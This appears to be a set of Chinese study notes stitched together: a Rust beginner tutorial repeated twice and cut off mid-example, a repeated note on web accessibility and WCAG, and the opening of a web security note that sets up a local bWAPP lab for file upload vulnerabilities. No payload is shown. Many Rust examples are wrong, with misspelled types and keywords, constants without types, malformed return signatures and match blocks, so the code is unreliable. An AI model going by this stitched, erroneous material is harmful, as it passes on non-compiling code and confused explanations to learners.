注意:文档注释必须位于lib类型的包中,文档注释看使用md语法 可使用cargo doc命令,来对文档注释生成html文件,放在target/doc目录下,也可以使用 cargo doc –open 生成文档后自动打开html网页 变量通过let关键字来创建 fn main() { let mut abc = "hallo word"; abc = "hhh"; println!(" abc: {}",abc); }; 注意:rust变量默认是不能变得,需要通过mut关键字来让变量可变 变量存在遮蔽性,如果使用let关键重复声明同一个变量,会遮蔽之前声明的变量的值和类型 变量的遮蔽性和mut关键字的区别是,mut关键字无法修改变量的类型,mut关键字修改的只能是相同类型的值 常量通过const关键字来创建 fn main() { const ABC = "hallo word"; println!(" ABC: {}",ABC); }; 常量不可变,也不能使用mut,而且必须声明类型(字面量也算是一种类型声明) 数据类型 rust是静态型编译语言,因此需要在编译之前就知道全部变量的类型 rust有4大基础类型,这个基础类型又叫标量类型,分别是整型,浮点型,布尔型,字符型 整型就是没有小数的整数(分符号类型和无符号类型,区别是是否为负数,可能为负数使用有符号类型,不可能为负数使用无符号类型) 整型使用u表示无符号类型,用i表示有符号类型,再声明使用多少位的空间,例如i32,就是占32位空间的有符号类型 还有2个特殊的类型,isize和usize,这个类型取决程序执行环境的系统架构,使用64位架构就是占64位空间 整型支持十进制,八进制,二进制,十六进制和字节,rust默认使用i32类型 注意:使用有符号类型会将以二进制补码的方式来存储 浮点类型,就是带小数的数字,rust的浮点型有2个类型,分别是f32和f64,默认是f64,f64是双精度浮点型,f32类型是单精度,并且全部类型都是具备符号的(可为负数) 布尔类型,布尔类型只能是这2个值得其中之一,true和false,布尔类型使用bool关键字来声明,例如 let a: bool = true;,当然也是可以使用字面量来声明 字符类型,字符类型使用单引号包括,并且只能表示一个Unicode字符(因为字符类型只使用4个字节) 字符串类型使用双引号表示,可表示多个字符,使用String表示,例如: let a:String = "hallo word"; prinln!("{}",a); 除了标量类型外还有复合类型,复合类型有6种,分别是元组和数组,枚举,结构体,字符串,切片 元组类型就是无法扩展和收缩的数组(元组可使用不同的类型),长度是固定的,例如: let a: (i64, f64) = (100,3.14); 获取元组的元素可通过解构的方式来完成,例如: let a: (i64, f64) = (100,3.14); let (b,c) = a; 也可以通过索引值来获取,例如: let a: (i64, f64) = (100,3.14); let b = a.1; 元组的索引是从0开始的 数组类型和元组不同,数组的类型必须是相同类型的,数组长度也是固定的 let a = [1,233,666]; rust也提供了动态数组(vector),动态数组将被分配到堆内存空间,而普通数组会被分配到栈内存空间 动态数组使用Vec的方式来声明,动态数组也不能使用不同的类型,但是动态数组可以扩展空间和缩小,而且全部元素在内存是相邻排列的,可使用Vec::new()来创建一个空的动态数组,例如: let a: Vev = Vec::new(); 当然也可以提供初始值来创建 let b = vec![2,4,68]; rust可以根据字面量来自动推断出类型 动态数组增加元素使用push方法,例如: let mut a: Vev = Vec::new(); a.push(1); a.push(2); a.push(3); a.push(4); a.push(5); 注意:动态数组离开当前作用域会被丢弃销毁 获取动态数组的元素,可通过get方法或者索引来完成,例如: let a = vec![2,4,68]; let b = a.get(2); let c = &a[2]; get方法和索引的区别是,get方法访问超过数组不存在的元素是不会报错的,而是返回none,而索引访问是会导致报错,程序崩溃的 遍历动态数组 let a = vec![2,4,68]; fot i in &a{ println!("{}",i); }; 动态数组支持枚举类型,这可以让动态数组存储不同类型的值,例如; enum Hallo{ Int(i64), Text(String), }; let a = vec![ Hallo::Int(666), Hallo::Text(Sting::from("hallo word")), ]; 函数,是rust的第一个公民,main函数是rust程序入口文件,而且函数定义可在main函数之前或者之后,使用fn关键字来声明,例如: fn hallo_word(){ println!("hallo word"); }; fn main(){ hallo_word(); }; 函数参数 fn main(){ a(666); }; fn a(x:i64){ println!("{}",x); }; 函数返回值 fn main(){ a(666); }; fn a(x:i64) ->{ x+123 }; 注意:返回值使用->返回,而且不能使用分号,因为语句无法作为返回值返回 if判断 let a = 1; if a <10{ println!("true >10"); }else if(a>0){ println!("true >10"); }else{ println!('none') }; 注意:if判断必须提供一个布尔类型的值,否则会抛出错误 表达式是可以赋值给变量的,例如:let boola = true; let a = if boola{1} else{2} rust的循环有3种,分别是for,while,以及loop for遍历循环(常用于遍历集合元素),例如: let a = [1,2,3,45,6]; for b in a { println!("{}",b); }; while循环,条件为真执行,为假停止循环。例如: let mut a = 0 while a <= 10{ println!("hallo wrod"); a +=1; }; loop关键字可以一直执行语句,直到被跳出(可使用break关键字),例如: let mut count = 0; loop{ println!("hallo word"); if (count == 5){ break; }; count +=1; }; loop循环可以搞个标签,来指定终止哪次循环(嵌套循环下),例如:‘a’: loop{ break ‘a’} continue操作符可跳出当前循环,去执行下次循环,一般搭配if分支语句来使用 所有权 所有权是rust的特性之一,无需gc垃圾回收机制就可以保证内存安全 作用域是一个语句块在程序中有效的范围,在该范围内的变量是有效的,离开该范围后将自动释放内存空间 释放内存空间是使用rust提供的一个叫drop函数,会在结尾}自动调用该函数 当一个变量的值是指针时,赋值给另一个变量,当这2个变量离开作用域后,会导致二次释放,因为这2个变量指向的是同一个内存空间地址,二次释放会导致内存污染,这个指针实质上是在堆上的 rust为了解决二次释放导致的内存安全问题,当一个存在指针值的变量赋值给另一个变量后,会销毁第一个变量,而无需再等到离开作用域,第一个变量将变成是无效的,这个赋值将不是复制,而是剪切板一样,移动数据 如果需要复制堆的数据,可使用clone方法,例如: let a = String::from("hallo word"); let b = a.clone(); println!("{},{}"a,b); 注意:移动数据只针对栈上的指针之类的有效,如果是赋值的是整型之类存在在栈上的,是不需要移动,因为复制指针这些"引用类型"需要耗费性能,rust通过copy trait标注来决定是否赋值给其他变量后,这个变量是否还有效,只要类型实现了copy trait就可以 支持copy trait的类型:全部整数类型,布尔类型,浮点类型,字符类型,元组(部分类型支持) 为了避免需要引用变量而导致原变量失效,rust提供了引用功能,例如: let a = String::from("hallo word"); let b = &a; 引用不会具备该值的所有权,但是可以指向这个值 引用实质上是借用的,是不能修改借用的值,如果想修改可提前对具备所有权的变量声明mut可变,例如: let mut a = String::from("hallo"); let b = &mut a; 注意:同一个作用域中只能有一个对这个数据进行可变引用,使用多个可变引用会报错,这是为了避免竞争 切片类型也是没有所有权的,对切片类型进行操作,是不会影响到原来的值,例如: let a = String::from("hallo world"); let hello = &a[0..5]; let world = &a[6..11]; a.clear(); 结构体与元组一样,元素可以是多个类型,但是和元组不同的是,结构图具备元素别名,并且使用struct来定义结构体,例如: struct Name{ id: i64, username: String, email: String, pass: String, }; 上面例子就是一个结构体,这个结构体的名称叫Name,具备4个字段,每个字段有自己对于的字段名称和类型 有结构体当然也有结构体实例,结构体是结构体实例的抽象 let name1 = Name{ id: 1, username: String::from("root"), email: String::form("a@xiaochenabc123.test.com"), pass: String::form("123456789"), }; println!("hallo {}", name1.username); name1.email = String::from("b@xiaochenabc123.test.com"); 注意:结构体实例必须按照结构体每个字段的类型要求进行初始化,不需要按照结构体声明的字段顺序一样 利用函数返回值来完成结构体的实例化,例如: fn NameTest(username: String, email: String, pass: String) ->{ Name{ username, email, pass, }; }; fn main(){ let name01 = NameTest("user01","test@xiaochenabc123.test.com","12356987"); println!("hallo {}", name01.username); }; 基于已有的实例,创建新的实例,例如: let name2 = Name{ username: String::from("uesr02"), ..name01 }; 注意:其中..name01是表示其他字段将从name01实例中获取 元组结构体(结构体字段没名称的就叫元组结构体) struct Abc(i64,bool,f64); let abc1 = Abc(100,true,3.14); 单元结构体(这玩意和go的空结构体一样,只定义一个结构体,但是没有字段和属性) struct Xyz; let xyz1 = Xyz; 结构体的所有权:当使用已有的实例,创建新的实例时,改变的字段的所有权将会被转移到新的实例,原有的实例的那个字段将失效,其他字段正常,因此使用结构体应该避免使用引用类型 枚举 enum HomeTest{ Hallo, Xyz, Abc, Hahaha(i64) }; struct Demo{ home: HomeTest, id: i64, } fn main(){ let test1 = HomeTest::Hallo; let test2 = HomeTest::Abc; println!(test1); println!(test2); let a = Demo{ home: HomeTest::Abc, id: 1, } let b = Demo{ home: HomeTest::Hallo, id: 2, } } 上面例子中,通过enum关键字声明并且定义一个枚举类型,这个枚举类型有3个枚举成员,通过::操作符来访问枚举的成员,枚举是一种类型,因此可用于函数参数类型,结构体类型等等 枚举的成员可以是任何类型的数据,也可以限制成员的数据类型,结构体使用{},单个使用(),多个可使用逗号分割 rust的空值使用Option枚举类型来表示,而不是null Option,Some,None都包含在prelude标准库中,不需要在源码中声明,或者引用,直接就可以使用 Option枚举类型的实现 enum Option { Some(T), None, }; 表示一个空值 let null1: Option = None; 如果使用None,则需要提前提供是什么类型,因为无法通过None来推断出类型 Option比null好的原因是,Option(T)和任何类型都不相同,无法将Option和i64类型的值进行处理 如果有值则: let num1:Option = Some(233); 如果使用Some,表示有个值存于Some中 使用Option枚举类型: fn Test(a:Option) -> Option { match a { Some(i) => Some(i), None => None, } } let abc = Some(666); let xyz = Test(abc); 上面例子中,通过Test函数传入一个Option类型的参数,并且返回一个Option类型的值,使用match模式匹配,如果传入None则返回None,传入Some(i64),则返回其本身(也就是Some(i64)) 模式匹配 match语句 enum Demo{ Hallo, Abc, Xyz, }; let test1 = Demo::Xyz; let test2 = match test1 { Demo::Hallo => "hallo word", Demo::Abc | Demo::Xyz => "hallo abcxyz", }, _ =>"0", }; 上面例子中进行匹配Demo对应的枚举类型,match会穷尽列出全部已知的可能,如果存在不知道的可能,使用下划线_来表示,match语句与switch语句很像,match的分支必须指向一个表达式,而且每个分支的表达式结果必须是相同类型的 假如只想对单个模式来进行处理,可使用if let语句,例如: let test1 = Demo::Xyz; if let Test2(Demo::Xyz) = test1{ println!("hallo wrod"); } 上面例子中,如果匹配到Demo::Xyz,输出hallo wrod,如果不匹配则忽略 注意:match和if let会在模式匹配时进行覆盖老值,绑定新的值 matches!宏匹配,可以将一个表达式和模式来进行匹配,返回结果是布尔值,例如: let a = 1; assert!(matches!(1..100 | -1..-100)); 方法 rust使用impl关键字来定义方法 struct Demo { id: i64, user: String, } impl Demo { fn new(id: i64, user: String) -> Demo { Demo{ id: id, user: user, } } fn printa(&self){ println!(self.user) } } fn mian(){ let a = Demo{ id: 1, user: "root", } a.printa() } &self为借用Demo结构体,new函数是Demo方法的关联函数,用于初始化结构体实例 &self是self: &Self的简写,self有所有权,而&self是表示不可变借用,&mut self就是可变借用 impl Demo是struct Demo的实现,另外rust允许方法名与结构体的字段名相同,调用方法加(),否则就是在访问字段 rust自动引用和解引用:当一个对象调用方法时,会自动为该对象添加&,&mut,*来确保该对象能与方法匹配 关联函数:当一个存在于impl中,但是没有使用self的函数就被叫关联函数,通常存在impl中的new函数是结构体的构造实例器(rust没有使用new作为关键字,并不强制使用new) 关联函数因为不是方法,需要使用::来调用,例如Demo::new(2,“admin”) rust允许将结构体定义成多个impl块,而不需要全部都写到一块,更灵活扩展 枚举类型也可被实现 泛型与特征 泛型,当需要对可能存在不同类型的数据处理,但是处理逻辑是一样时,可使用泛型来避免重复,例如: fn test
Rust由非盈利组织Mozilla基金会开发,像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会 安装 官方推荐使用Rustup来安装(Rustup是rust的安装器和版本管理工具) 通过rustup-init来安装Rust https://www.rust-lang.org/zh-CN/tools/install windows直接安装pustup-init.exe来安装(需联网),默认通过vc安装,建议选择2自定义安装 Linux或者macOS则直接执行以下命令 curl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh 注意:Rust的一些包,可能还依赖C编译器,因此最好安装一下GCC 检查是否安装完成 rustc –version 如果喜欢用Visual Studio Code开发,可搭配rust-analyzer插件来使用 更新rust rustup update 卸载rust和rustup rustup self uninstall 在安装rustup的同时也会安装Cargo Cargo是rust的项目构建工具和包管理器 检查是否安装成功 cargo –version 创建第一个rust项目 cargo new halloword 其中Cargo.toml文件是项目的依赖库文件 通过编辑Cargo.toml文件来添加依赖 rust依赖可通过https://crates.io/查找 [package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "../hyper" } # 来自本地文件 构建依赖到项目中 cargo build halloword 当构建完成后,会在项目的根目录中创建一个名叫Cargo.lock的文件,该文件记录项目依赖的版本 src/main.rs是该项目的程序编写文件 在src/main.rs添加以下内容 fn main() { println!("hallo, world"); }; 进入该项目根目录运行该项目 cargo run 或者直接编译main.rs rustc main.rs ./main 注意:在windows上,需要加.exe,.\main.exe 在hallo word例子中看到,fn是创建函数的关键字,main是函数名,该函数调用了println!(),其实这是一个macro(宏),“hallo, world"作为字符串参数传递到了该宏中 另外cargo提供了一个命令,来不用生成二进制文件的前提下构建项目,来检查项目的错误 cargo check build和run默认是debug版本的,如果需要编译release版本执行cargo build –release 在rust中函数是一等公民,其中main函数是程序的入口函数(和golang一样) 注释可以让rust编译器忽略,例如:// hallo word 多行注释可使用块注释,例如: /* hallo word */ 文档注释,行注释例如: /// 1 /// 2 /// 3 文档块注释,例如: /** hallo word */ 注意:文档注释必须位于lib类型的包中,文档注释看使用md语法 可使用cargo doc命令,来对文档注释生成html文件,放在target/doc目录下,也可以使用 cargo doc –open 生成文档后自动打开html网页 变量通过let关键字来创建 fn main() { let mut abc = "hallo word"; abc = "hhh"; println!(" abc: {}",abc); }; 注意:rust变量默认是不能变得,需要通过mut关键字来让变量可变 变量存在遮蔽性,如果使用let关键重复声明同一个变量,会遮蔽之前声明的变量的值和类型 变量的遮蔽性和mut关键字的区别是,mut关键字无法修改变量的类型,mut关键字修改的只能是相同类型的值 常量通过const关键字来创建 fn main() { const ABC = "hallo word"; println!(" ABC: {}",ABC); }; 常量不可变,也不能使用mut,而且必须声明类型(字面量也算是一种类型声明) 数据类型 rust是静态型编译语言,因此需要在编译之前就知道全部变量的类型 rust有4大基础类型,这个基础类型又叫标量类型,分别是整型,浮点型,布尔型,字符型 整型就是没有小数的整数(分符号类型和无符号类型,区别是是否为负数,可能为负数使用有符号类型,不可能为负数使用无符号类型) 整型使用u表示无符号类型,用i表示有符号类型,再声明使用多少位的空间,例如i32,就是占32位空间的有符号类型 还有2个特殊的类型,isize和usize,这个类型取决程序执行环境的系统架构,使用64位架构就是占64位空间 整型支持十进制,八进制,二进制,十六进制和字节,rust默认使用i32类型 注意:使用有符号类型会将以二进制补码的方式来存储 浮点类型,就是带小数的数字,rust的浮点型有2个类型,分别是f32和f64,默认是f64,f64是双精度浮点型,f32类型是单精度,并且全部类型都是具备符号的(可为负数) 布尔类型,布尔类型只能是这2个值得其中之一,true和false,布尔类型使用bool关键字来声明,例如 let a: bool = true;,当然也是可以使用字面量来声明 字符类型,字符类型使用单引号包括,并且只能表示一个Unicode字符(因为字符类型只使用4个字节) 字符串类型使用双引号表示,可表示多个字符,使用String表示,例如: let a:String = "hallo word"; prinln!("{}",a); 除了标量类型外还有复合类型,复合类型有6种,分别是元组和数组,枚举,结构体,字符串,切片 元组类型就是无法扩展和收缩的数组(元组可使用不同的类型),长度是固定的,例如: let a: (i64, f64) = (100,3.14); 获取元组的元素可通过解构的方式来完成,例如: let a: (i64, f64) = (100,3.14); let (b,c) = a; 也可以通过索引值来获取,例如: let a: (i64, f64) = (100,3.14); let b = a.1; 元组的索引是从0开始的 数组类型和元组不同,数组的类型必须是相同类型的,数组长度也是固定的 let a = [1,233,666]; rust也提供了动态数组(vector),动态数组将被分配到堆内存空间,而普通数组会被分配到栈内存空间 动态数组使用Vec的方式来声明,动态数组也不能使用不同的类型,但是动态数组可以扩展空间和缩小,而且全部元素在内存是相邻排列的,可使用Vec::new()来创建一个空的动态数组,例如: let a: Vev = Vec::new(); 当然也可以提供初始值来创建 let b = vec![2,4,68]; rust可以根据字面量来自动推断出类型 动态数组增加元素使用push方法,例如: let mut a: Vev = Vec::new(); a.push(1); a.push(2); a.push(3); a.push(4); a.push(5); 注意:动态数组离开当前作用域会被丢弃销毁 获取动态数组的元素,可通过get方法或者索引来完成,例如: let a = vec![2,4,68]; let b = a.get(2); let c = &a[2]; get方法和索引的区别是,get方法访问超过数组不存在的元素是不会报错的,而是返回none,而索引访问是会导致报错,程序崩溃的 遍历动态数组 let a = vec![2,4,68]; fot i in &a{ println!("{}",i); }; 动态数组支持枚举类型,这可以让动态数组存储不同类型的值,例如; enum Hallo{ Int(i64), Text(String), }; let a = vec![ Hallo::Int(666), Hallo::Text(Sting::from("hallo word")), ]; 函数,是rust的第一个公民,main函数是rust程序入口文件,而且函数定义可在main函数之前或者之后,使用fn关键字来声明,例如: fn hallo_word(){ println!("hallo word"); }; fn main(){ hallo_word(); }; 函数参数 fn main(){ a(666); }; fn a(x:i64){ println!("{}",x); }; 函数返回值 fn main(){ a(666); }; fn a(x:i64) ->{ x+123 }; 注意:返回值使用->返回,而且不能使用分号,因为语句无法作为返回值返回 if判断 let a = 1; if a <10{ println!("true >10"); }else if(a>0){ println!("true >10"); }else{ println!('none') }; 注意:if判断必须提供一个布尔类型的值,否则会抛出错误 表达式是可以赋值给变量的,例如:let boola = true; let a = if boola{1} else{2} rust的循环有3种,分别是for,while,以及loop for遍历循环(常用于遍历集合元素),例如: let a = [1,2,3,45,6]; for b in a { println!("{}",b); }; while循环,条件为真执行,为假停止循环。例如: let mut a = 0 while a <= 10{ println!("hallo wrod"); a +=1; }; loop关键字可以一直执行语句,直到被跳出(可使用break关键字),例如: let mut count = 0; loop{ println!("hallo word"); if (count == 5){ break; }; count +=1; }; loop循环可以搞个标签,来指定终止哪次循环(嵌套循环下),例如:‘a’: loop{ break ‘a’} continue操作符可跳出当前循环,去执行下次循环,一般搭配if分支语句来使用 所有权 所有权是rust的特性之一,无需gc垃圾回收机制就可以保证内存安全 作用域是一个语句块在程序中有效的范围,在该范围内的变量是有效的,离开该范围后将自动释放内存空间 释放内存空间是使用rust提供的一个叫drop函数,会在结尾}自动调用该函数 当一个变量的值是指针时,赋值给另一个变量,当这2个变量离开作用域后,会导致二次释放,因为这2个变量指向的是同一个内存空间地址,二次释放会导致内存污染,这个指针实质上是在堆上的 rust为了解决二次释放导致的内存安全问题,当一个存在指针值的变量赋值给另一个变量后,会销毁第一个变量,而无需再等到离开作用域,第一个变量将变成是无效的,这个赋值将不是复制,而是剪切板一样,移动数据 如果需要复制堆的数据,可使用clone方法,例如: let a = String::from("hallo word"); let b = a.clone(); println!("{},{}"a,b); 注意:移动数据只针对栈上的指针之类的有效,如果是赋值的是整型之类存在在栈上的,是不需要移动,因为复制指针这些"引用类型"需要耗费性能,rust通过copy trait标注来决定是否赋值给其他变量后,这个变量是否还有效,只要类型实现了copy trait就可以 支持copy trait的类型:全部整数类型,布尔类型,浮点类型,字符类型,元组(部分类型支持) 为了避免需要引用变量而导致原变量失效,rust提供了引用功能,例如: let a = String::from("hallo word"); let b = &a; 引用不会具备该值的所有权,但是可以指向这个值 引用实质上是借用的,是不能修改借用的值,如果想修改可提前对具备所有权的变量声明mut可变,例如: let mut a = String::from("hallo"); let b = &mut a; 注意:同一个作用域中只能有一个对这个数据进行可变引用,使用多个可变引用会报错,这是为了避免竞争 切片类型也是没有所有权的,对切片类型进行操作,是不会影响到原来的值,例如: let a = String::from("hallo world"); let hello = &a[0..5]; let world = &a[6..11]; a.clear(); 结构体与元组一样,元素可以是多个类型,但是和元组不同的是,结构图具备元素别名,并且使用struct来定义结构体,例如: struct Name{ id: i64, username: String, email: String, pass: String, }; 上面例子就是一个结构体,这个结构体的名称叫Name,具备4个字段,每个字段有自己对于的字段名称和类型 有结构体当然也有结构体实例,结构体是结构体实例的抽象 let name1 = Name{ id: 1, username: String::from("root"), email: String::form("a@xiaochenabc123.test.com"), pass: String::form("123456789"), }; println!("hallo {}", name1.username); name1.email = String::from("b@xiaochenabc123.test.com"); 注意:结构体实例必须按照结构体每个字段的类型要求进行初始化,不需要按照结构体声明的字段顺序一样 利用函数返回值来完成结构体的实例化,例如: fn NameTest(username: String, email: String, pass: String) ->{ Name{ username, email, pass, }; }; fn main(){ let name01 = NameTest("user01","test@xiaochenabc123.test.com","12356987"); println!("hallo {}", name01.username); }; 基于已有的实例,创建新的实例,例如: let name2 = Name{ username: String::from("uesr02"), ..name01 }; 注意:其中..name01是表示其他字段将从name01实例中获取 元组结构体(结构体字段没名称的就叫元组结构体) struct Abc(i64,bool,f64); let abc1 = Abc(100,true,3.14); 单元结构体(这玩意和go的空结构体一样,只定义一个结构体,但是没有字段和属性) struct Xyz; let xyz1 = Xyz; 结构体的所有权:当使用已有的实例,创建新的实例时,改变的字段的所有权将会被转移到新的实例,原有的实例的那个字段将失效,其他字段正常,因此使用结构体应该避免使用引用类型 枚举 enum HomeTest{ Hallo, Xyz, Abc, Hahaha(i64) }; struct Demo{ home: HomeTest, id: i64, } fn main(){ let test1 = HomeTest::Hallo; let test2 = HomeTest::Abc; println!(test1); println!(test2); let a = Demo{ home: HomeTest::Abc, id: 1, } let b = Demo{ home: HomeTest::Hallo, id: 2, } } 上面例子中,通过enum关键字声明并且定义一个枚举类型,这个枚举类型有3个枚举成员,通过::操作符来访问枚举的成员,枚举是一种类型,因此可用于函数参数类型,结构体类型等等 枚举的成员可以是任何类型的数据,也可以限制成员的数据类型,结构体使用{},单个使用(),多个可使用逗号分割 rust的空值使用Option枚举类型来表示,而不是null Option,Some,None都包含在prelude标准库中,不需要在源码中声明,或者引用,直接就可以使用 Option枚举类型的实现 enum Option { Some(T), None, }; 表示一个空值 let null1: Option = None; 如果使用None,则需要提前提供是什么类型,因为无法通过None来推断出类型 Option比null好的原因是,Option(T)和任何类型都不相同,无法将Option和i64类型的值进行处理 如果有值则: let num1:Option = Some(233); 如果使用Some,表示有个值存于Some中 使用Option枚举类型: fn Test(a:Option) -> Option { match a { Some(i) => Some(i), None => None, } } let abc = Some(666); let xyz = Test(abc); 上面例子中,通过Test函数传入一个Option类型的参数,并且返回一个Option类型的值,使用match模式匹配,如果传入None则返回None,传入Some(i64),则返回其本身(也就是Some(i64)) 模式匹配 match语句 enum Demo{ Hallo, Abc, Xyz, }; let test1 = Demo::Xyz; let test2 = match test1 { Demo::Hallo => "hallo word", Demo::Abc | Demo::Xyz => "hallo abcxyz", }, _ =>"0", }; 上面例子中进行匹配Demo对应的枚举类型,match会穷尽列出全部已知的可能,如果存在不知道的可能,使用下划线_来表示,match语句与switch语句很像,match的分支必须指向一个表达式,而且每个分支的表达式结果必须是相同类型的 假如只想对单个模式来进行处理,可使用if let语句,例如: let test1 = Demo::Xyz; if let Test2(Demo::Xyz) = test1{ println!("hallo wrod"); } 上面例子中,如果匹配到Demo::Xyz,输出hallo wrod,如果不匹配则忽略 注意:match和if let会在模式匹配时进行覆盖老值,绑定新的值 matches!宏匹配,可以将一个表达式和模式来进行匹配,返回结果是布尔值,例如: let a = 1; assert!(matches!(1..100 | -1..-100)); 方法 rust使用impl关键字来定义方法 struct Demo { id: i64, user: String, } impl Demo { fn new(id: i64, user: String) -> Demo { Demo{ id: id, user: user, } } fn printa(&self){ println!(self.user) } } fn mian(){ let a = Demo{ id: 1, user: "root", } a.printa() } &self为借用Demo结构体,new函数是Demo方法的关联函数,用于初始化结构体实例 &self是self: &Self的简写,self有所有权,而&self是表示不可变借用,&mut self就是可变借用 impl Demo是struct Demo的实现,另外rust允许方法名与结构体的字段名相同,调用方法加(),否则就是在访问字段 rust自动引用和解引用:当一个对象调用方法时,会自动为该对象添加&,&mut,*来确保该对象能与方法匹配 关联函数:当一个存在于impl中,但是没有使用self的函数就被叫关联函数,通常存在impl中的new函数是结构体的构造实例器(rust没有使用new作为关键字,并不强制使用new) 关联函数因为不是方法,需要使用::来调用,例如Demo::new(2,“admin”) rust允许将结构体定义成多个impl块,而不需要全部都写到一块,更灵活扩展 枚举类型也可被实现 泛型与特征 泛型,当需要对可能存在不同类型的数据处理,但是处理逻辑是一样时,可使用泛型来避免重复,例如: fn test
a11y全称为Accessibility,A到y之间有11个字母,因此叫a11y,Accessibility中文翻译为可访问性,也就是无障碍 让网站具备无障碍性,可以让一些视觉障碍人士访问该网站,而且就算是其他人士使用,也会因a11y而受益(不因网络慢,css文件丢失而无法正常浏览页面内容) 在mdn上有句话:The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability. w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/ 妨碍障碍人士访问web页面常见是视觉障碍,一般需要使用放大镜或者屏幕缩放来访问,严重的可能需要使用屏幕阅读器 常见的屏幕阅读器有:NVDA(windows),ChromeVox(Chrome浏览器内置),Narrator(windows内置,也就是我们说的讲述人),VoiceOver(苹果家的,像MacOS,ios,ipadOS都内置了),TalkBack(安卓内置),以及Orca(Linux内置) mdn对于障碍人士可访问性优化提供了建议: 1.使用多种方式传达内容,比如从文本到语音或是视频; 2.更易理解的内容,例如使用更通俗的语言书写的文本; 3.将注意力集中在重要内容上; 4.尽量减少干扰,例如不必要的内容或广告; 5.一致的网页布局和导航; 6.相似的元素,比如未访问的下划线链接使用蓝色而访问过的使用紫色; 7.将过程划分为更有逻辑的,必要的步骤并附上进度指示器; 8.在不影响安全性的情况下尽可能让网站认证更简单;并且 9.使表单容易完成,例如带有清晰的错误消息和简单的错误恢复。 而WCAG指南也提供了建议: 可感知性(Perceivable):非文本内容有文本替代,对于视频内容应该提供字幕,确保视感和听感都可浏览,不会因为某些原因导致信息或者结构(可以理解为文本顺序)丢失,应该具备可辨别性(颜色不应该作用区别视觉的唯一手段(针对色盲人士)) 可操作性(Operable):页面可通过键盘来操作,而不是唯一依赖于鼠标,提供足够的时间来阅读和使用内容(比如定时可调整,关闭定时,延长定时等等),防癫痫(不使用会诱发癫痫的设计,例如控制闪光的次数),提供导航,查找以及提供内容位置,允许使用键盘之外的设备输入(例如鼠标或者手写板) 可理解性(Understandable):内容应该都是可读,可被理解的(例如设置多种人类语言,比如英文,中文,日文等等,根据操作系统使用语言或者时区设置为默认语言,语言可切换),任何操作都应该具备可预见性(例如关闭一个弹窗,不会导致其他意想不到的情况发生),当输入出现问题应该提示用户哪错了(例如注册时,密码的组合程度等等),当出现用户操作出错时,应该做到操作可逆或者二次确定操作(给予用户检查和纠正的机会) 鲁棒性(Robust):应该在发生某一些系统故障或者网络故障时,确保还能正常工作,而不是罢工或者出错,鲁棒性又叫抗干扰性,健壮性
a11y全称为Accessibility,A到y之间有11个字母,因此叫a11y,Accessibility中文翻译为可访问性,也就是无障碍 让网站具备无障碍性,可以让一些视觉障碍人士访问该网站,而且就算是其他人士使用,也会因a11y而受益(不因网络慢,css文件丢失而无法正常浏览页面内容) 在mdn上有句话:The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability. w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/ 妨碍障碍人士访问web页面常见是视觉障碍,一般需要使用放大镜或者屏幕缩放来访问,严重的可能需要使用屏幕阅读器 常见的屏幕阅读器有:NVDA(windows),ChromeVox(Chrome浏览器内置),Narrator(windows内置,也就是我们说的讲述人),VoiceOver(苹果家的,像MacOS,ios,ipadOS都内置了),TalkBack(安卓内置),以及Orca(Linux内置) mdn对于障碍人士可访问性优化提供了建议: 1.使用多种方式传达内容,比如从文本到语音或是视频; 2.更易理解的内容,例如使用更通俗的语言书写的文本; 3.将注意力集中在重要内容上; 4.尽量减少干扰,例如不必要的内容或广告; 5.一致的网页布局和导航; 6.相似的元素,比如未访问的下划线链接使用蓝色而访问过的使用紫色; 7.将过程划分为更有逻辑的,必要的步骤并附上进度指示器; 8.在不影响安全性的情况下尽可能让网站认证更简单;并且 9.使表单容易完成,例如带有清晰的错误消息和简单的错误恢复。 而WCAG指南也提供了建议: 可感知性(Perceivable):非文本内容有文本替代,对于视频内容应该提供字幕,确保视感和听感都可浏览,不会因为某些原因导致信息或者结构(可以理解为文本顺序)丢失,应该具备可辨别性(颜色不应该作用区别视觉的唯一手段(针对色盲人士)) 可操作性(Operable):页面可通过键盘来操作,而不是唯一依赖于鼠标,提供足够的时间来阅读和使用内容(比如定时可调整,关闭定时,延长定时等等),防癫痫(不使用会诱发癫痫的设计,例如控制闪光的次数),提供导航,查找以及提供内容位置,允许使用键盘之外的设备输入(例如鼠标或者手写板) 可理解性(Understandable):内容应该都是可读,可被理解的(例如设置多种人类语言,比如英文,中文,日文等等,根据操作系统使用语言或者时区设置为默认语言,语言可切换),任何操作都应该具备可预见性(例如关闭一个弹窗,不会导致其他意想不到的情况发生),当输入出现问题应该提示用户哪错了(例如注册时,密码的组合程度等等),当出现用户操作出错时,应该做到操作可逆或者二次确定操作(给予用户检查和纠正的机会) 鲁棒性(Robust):应该在发生某一些系统故障或者网络故障时,确保还能正常工作,而不是罢工或者出错,鲁棒性又叫抗干扰性,健壮性
常见web工具: burpsuite:通过代理渗透,可重放HTTP请求,来分析HTTP响应 curl:通过url方式传输数据,可用于抓取页面(执行请求),监控网络等等 postmain hackbar quantum wappalyzer 文件上传漏洞:没有足够的安全约束的情况下,允许上传恶意文件,例如恶意脚本,webshell等等 文件上传漏洞关键点在于绕过 由于法律限制的原因,禁止对其他网站非法攻击,因此需要在本地或者在自己的服务器上建立靶场渗透环境,这边使用的是bwapp(全称为buggy web Application) 这边使用的是docker运行bwapp,也可以下载bwapp,来自己搭建(https://sourceforge.net/projects/bwapp/files/) docker pull raesene/bwapp docker run -d -p 0.0.0.0:80:80 raesene/bwapp 访问127.0.0.1/install.php 点击here来初始化,或者直接访问127.0.0.1/install.php?install=yes 创建账号信息,点击new user,或者直接访问127.0.0.1/user_new.php 点击login,或者直接访问127.0.0.1/login.php,根据刚才的账号信息进行登录 简单接触文件上传漏洞 chose your bug选择unrestricted File Upload(未经严格审记的文件上传),安全级别选择low(set your security level) 